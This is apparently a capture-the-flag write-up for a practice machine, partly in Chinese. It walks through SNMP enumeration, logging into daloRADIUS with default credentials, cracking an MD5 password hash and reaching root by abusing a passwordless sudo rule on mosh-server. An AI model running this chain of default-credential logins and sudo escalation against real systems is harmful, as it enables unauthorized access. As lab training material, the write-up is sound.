161/udp open          snmp
162/udp open|filtered snmptrap

Page check The index page is the default page of Apache 2 Let's continue to enumerate the web-contents of that. But there is nothing found by using dirbuster to find the valid web-content

So I would continue to check the snmp service

I found the name of service daloradius, by searching about the name, we can get the login page http://10.10.11.48/daloradius/app/users/login.php Then I try the default credit admin:admin, but it did not work.Then I continue to check the issues of this service, I found another default credit administrator:radius We can use this credit to login successfully in this page http://underpass.htb/daloradius/app/operators/home-main.php Then we can login to the dashboard

By enumerating the pages, I found the password hash of svcMosh 412DD4759978ACFCC81DEAB01B382403, crack this md5 hash, I get underwaterfriends

I guess we can use this password to login the ssh. ssh svcMosh@10.10.11.48

2, shell as root By check sudo -l we found

Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

we just need to make this payload mosh --server="sudo /usr/bin/mosh-server" localhost

mosh:
表示启动 mosh 客户端。
mosh 是一种远程登录工具,类似于 ssh,但它使用 UDP 协议,支持断线重连和更流畅的体验。

--server="sudo /usr/bin/mosh-server":
--server 选项指定了 mosh 客户端在目标主机上启动的服务器命令。
通常,mosh 会在目标主机上自动运行默认的 mosh-server 命令。这里,指定使用 sudo 提权来运行 /usr/bin/mosh-server。
即,这条命令会以 sudo 权限在目标主机上启动 mosh-server。

localhost:
指定连接的目标主机为 localhost(本地主机)。
这表明 mosh 将尝试连接到当前机器,而不是远程主机。

Then we can get the root shell here.
